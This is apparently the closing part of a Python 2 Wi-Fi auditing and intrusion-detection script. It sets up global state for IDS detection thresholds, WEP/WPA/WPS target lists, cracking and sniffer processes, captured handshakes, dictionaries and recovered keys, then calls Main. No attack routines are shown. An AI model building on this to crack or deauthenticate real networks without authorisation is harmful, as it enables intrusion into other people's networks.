__builtin__.SENSITIVITY_LVL4= [__builtin__.THRESHOLD_DATA86,__builtin__.THRESHOLD_DATAARP,__builtin__.THRESHOLD_DATA94,__builtin__.THRESHOLD_DATA98,__builtin__.THRESHOLD_ASSOC,__builtin__.THRESHOLD_DISASSOC,__builtin__.THRESHOLD_REASSOC,__builtin__.THRESHOLD_AUTH,__builtin__.THRESHOLD_DEAUTH,__builtin__.THRESHOLD_DEAUTH_AC,__builtin__.THRESHOLD_EAPOL_STD,__builtin__.THRESHOLD_EAPOL_START,__builtin__.THRESHOLD_WPS,__builtin__.THRESHOLD_QOS,__builtin__.THRESHOLD]   # CUSTOM
__builtin__.MSG_IDSDetection=""
__builtin__.CURRENT_LOC=""
__builtin__.tabspace="   "
__builtin__.tabspacefull="      "
__builtin__.PrintToFile=""
__builtin__.tabspacefull="      "
__builtin__.spacing=""
__builtin__.DEBUG=0
__builtin__.TargetList_WEP=[]
__builtin__.TargetList_WPA1=[]
__builtin__.TargetList_WPA2=[]
__builtin__.TargetList_WPS=[]
__builtin__.TargetList_All=[]
__builtin__.CUR_CLIENT=[]
__builtin__.ProcID=""
__builtin__.ProcChopChop=""
__builtin__.ProcIDList=[]
__builtin__.Authenticator=""
__builtin__.CrackProc=""
__builtin__.Sniffer=""
__builtin__.WEP_ARPFILE=""
__builtin__.WEP_ARPFILELIST=[]
__builtin__.WEPKeyFile=""
__builtin__.WEP_File=""
__builtin__.WPS_File=""
__builtin__.WPS_File2=""
__builtin__.WPA_AUTOCLIENT="ON"
__builtin__.WPA_DEAUTH_MAC=""
__builtin__.WPAKeyFile=""
__builtin__.ListNum=""
__builtin__.DB_BSSID=""
__builtin__.DB_ENCTYPE=""
__builtin__.DB_ENCKEY=""
__builtin__.DB_ESSID=""
__builtin__.DB_HSFILE=""
__builtin__.DB_WPS=""
__builtin__.DB_DATE=""
__builtin__.DB_HSSAVED="0"
__builtin__.HS_File=""
__builtin__.HS_FileFull=""
__builtin__.HS_FileStrict=""
__builtin__.STR_HEX=""
__builtin__.STR_HEXCOLON=""
__builtin__.STR_CHR=""
__builtin__.STR_LEN=""
__builtin__.STR_LENHEX=""
__builtin__.STR_BIT=""
__builtin__.TIMER_RET=""
__builtin__.TStart=""
__builtin__.DictionaryList=[]
__builtin__.DictionaryListD=[]
__builtin__.CapFileList=[]
__builtin__.ConnectionResult=tmpdir + "connection_result.txt"
__builtin__.IPADDR=""
__builtin__.GATEWAY=""
__builtin__.RTNCACHE=""
__builtin__.DECKEY=""
__builtin__.WPSKEY=""
HANDSHAKE_LIST1=[]
HANDSHAKE_LIST1R=[]
HANDSHAKE_LIST2=[]
HANDSHAKE_LIST2R=[]
HANDSHAKE_LIST3=[]
HANDSHAKE_LIST3R=[]
HANDSHAKE_LIST4=[]
HANDSHAKE_LIST4R=[]
__builtin__.LIVE_MON=""
__builtin__.HandshakeSaved_Aircrack=""
NULLOUT = open(os.devnull, 'w')
original_sigint=""
if __name__ == '__main__':
    try:
        Main()
    except KeyboardInterrupt: print '\n (^C) interrupted\n'
    except EOFError:          print '\n (^D) interrupted\n'
    exit_gracefully(0)
	
